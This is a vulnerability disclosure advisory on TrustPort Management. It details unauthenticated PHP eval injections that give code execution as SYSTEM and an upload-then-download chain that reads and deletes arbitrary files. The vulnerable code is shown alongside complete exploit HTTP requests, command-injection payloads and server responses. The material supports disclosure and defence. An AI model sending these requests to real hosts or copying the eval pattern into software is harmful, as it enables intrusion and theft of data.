SSD Advisory – TrustPort Management Unauthenticated Remote Code Execution

Vulnerability Summary
Multiple vulnerabilities in TrustPort’s management product allow remote unauthenticated attackers to cause the product to execute arbitrary code.
TrustPort Management “offers you an effective and practical way to install centrally, configure and update antivirus software in your network and it enables mass administration of TrustPort products. Central administration from TrustPort brings you simple application of corporate security policies, monitoring of security incidents or the remote starting of tasks”.
Vendor Response
The vulnerability was reported to the vendor on March 6th, the following response was received on the 6th of March:
“thanks for information. We are going to correct the errors in following version of the SW.”
No further response was received, though 3 more emails were sent by us to the company between the March 6th and the date of publication. We have no idea of how to resolve this bug, the only workaround is to not expose the administrative port to untrusted networks.
Credit
An independent security researcher, Ahmed Y. Elmogy, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vulnerability Details
1. Pre-auth remote code execution vulnerability (as SYSTEM) in https://host:20394/get/settings-set-user.php.
Requirements: No authentication is required to exploit this vulnerability.
Vulnerable lines 25 to 29:

  foreach($_POST AS $key=>$val) {
    # Do objektu nastrkame hodnoty, ktere jsme ziskali s POSTu
    $evalcode .= '$data->users->user->'.$key.'->data = \''.$val.'\';';
  }
  @eval($evalcode);

No validation is being done on user input before using eval on it.
Exploitation request:

POST /get/settings-set-users.php HTTP/1.1
Host: VULNERABLE_HOST:20394
Connection: close
Content-Length: 177
Origin: https://VULNERABLE_HOST:20394
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: https://VULNERABLE_HOST:20394/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
action=update&id=&enabled=on&login=admin';system('whoami');//&loginpass=&loginpass2=&firstname=built-in&surname=administrator&email=&lang=ENU

Response:

nt authority\system
({"success":"false",
        "vipperResult":"-2700",
        "resultDesc":"ER_TPM_AUTHENTICATION_FAILED"
      })

2. Pre-auth remote code execution vulnerability (as SYSTEM) in https://host:20394/get/settings-set-user-perms.php
Requirements: No authentication is required to exploit this vulnerability.
Vulnerable lines 16 to 25:

$evalcode = '';
foreach($_POST AS $key=>$val) {
  if (preg_match('/hide\|perms\|/',$key)) {
    $key = str_replace('|','->',preg_replace('/hide\|perms\|/','',$key));
    $evalcode .= '$permdata->userpolicies->permissions->'.$key.'->data = \''.$val.'\';';
  }
  $evalcode .= '$permdata->userpolicies->permissions->attr[\'rights\'] = \''.$_POST['rights'].'\';';
  $evalcode .= '$permdata->userpolicies->permissions->attr[\'id\'] = \''.$_POST['id'].'\';';
}
@eval($evalcode);

No validation is being done on user input before using eval on it.
Exploitation request:

POST /get/settings-set-user-perms.php HTTP/1.1
Host: VULNERABLE_HOST:20394
Connection: close
Content-Length: 41
Origin: https://VULNERABLE_HOST:20394
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: https://VULNERABLE_HOST:20394/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
id=test';system('whoami');//&rights=admin

Response:

nt authority\system
({"success":"false",
        "vipperResult":"-2700",
        "resultDesc":"ER_TPM_AUTHENTICATION_FAILED"
        })

3. Pre-auth remote arbitrary file disclosure/deletion in https://host:20394/get/manage-get-stations-add.php
Requirements: No authentication is required to exploit this vulnerability, requires combination with another minor vulnerability to be exploitable.
Restrictions: The file disclosed will be deleted after that, unless the “exploiter” manages somehow to race the PHP code before that happens (I doubt).
Vulnerable code, line 74 to 76:

  case "download":
  	export_download_file($_GET['key']);
  	break;

Where export_download_file is:

function export_download_file($filename) {
  $path = ini_get('upload_tmp_dir').'\\'.$filename;
  $filename = file_get_contents($path);
  ob_end_clean();
  header('Content-type: application/download');
  header('Content-Disposition: attachment; filename="export.csv"');
  header('Content-transfer-encoding: binary');
  header('Content-Length: '.filesize($filename));
  readfile($filename);
  unlink($path);
  unlink($filename);
}

So this couldn’t be directly exploited because it actually views the contents of the path, that’s written in a file (idk what could be the purpose of this function), but I found another minor file upload vulnerability (no .php extensions) that helps exploiting this. In /get/settings-set-backup.php,
Vulnerable code:

} else if ($_POST['action'] == 'upload' ) {
  $viperpath = '/control/command/backup/upload/';
  $send = "false";
  $vipperResult = "0";
  // kontrola existence nahravaneho souboru
  if(empty($_FILES['restore_file']['tmp_name']))
    die('{"success":"false",
          "vipperResult":"-3",
          "resultDesc":"ER_FILE_NOT_FOUND"
         }');
  // cesta k nahranemu souboru
  $tmpName = realpath(dirname(__FILE__) . '/../../tmp/').'\\restore_bkp_'.$_SESSION['useruid'];
  copy($_FILES['restore_file']['tmp_name'], $tmpName);

This requires no authentication, and will create file restore_bkp_ (as _SESSION[‘useruid’] would be null) with whatever content we want (the path we want to disclose and consequently delete of course).
Exploitation requests:

POST /get/settings-set-backup.php HTTP/1.1
Host: VULNERABLE_HOST:20394
Connection: close
Content-Length: 306
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://VULNERABLE_HOST:20394
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rzvt7fRozJ1TlNT
Referer: https://VULNERABLE_HOST:20394/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
------WebKitFormBoundary6rzvt7fRozJ1TlNT
Content-Disposition: form-data; name="restore_file"; filename="exploit.txt"
Content-Type: text/plain
C:\private.txt
------WebKitFormBoundary6rzvt7fRozJ1TlNT
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundary6rzvt7fRozJ1TlNT--

Then to disclose/delete the contents of C:\private.txt:

GET /get/manage-get-stations-add.php?action=download&key=restore_bkp_ HTTP/1.1
Host: VULNERABLE_HOST:20394
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

And response:

HTTP/1.1 200 OK
Date: Sun, 04 Mar 2018 18:02:26 GMT
Set-Cookie: GUISESSID=cc025911b45268643cbeb8e87aa30cc3; path=/
Pragma:
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 04 Mar 2018 18:02:26 GMT
Cache-Control: post-check=0, pre-check=0, false
Content-type: application/download
Content-Disposition: attachment; filename="export.csv"
Content-transfer-encoding: binary
Content-Length: 21
This is private data.

?

Get in touch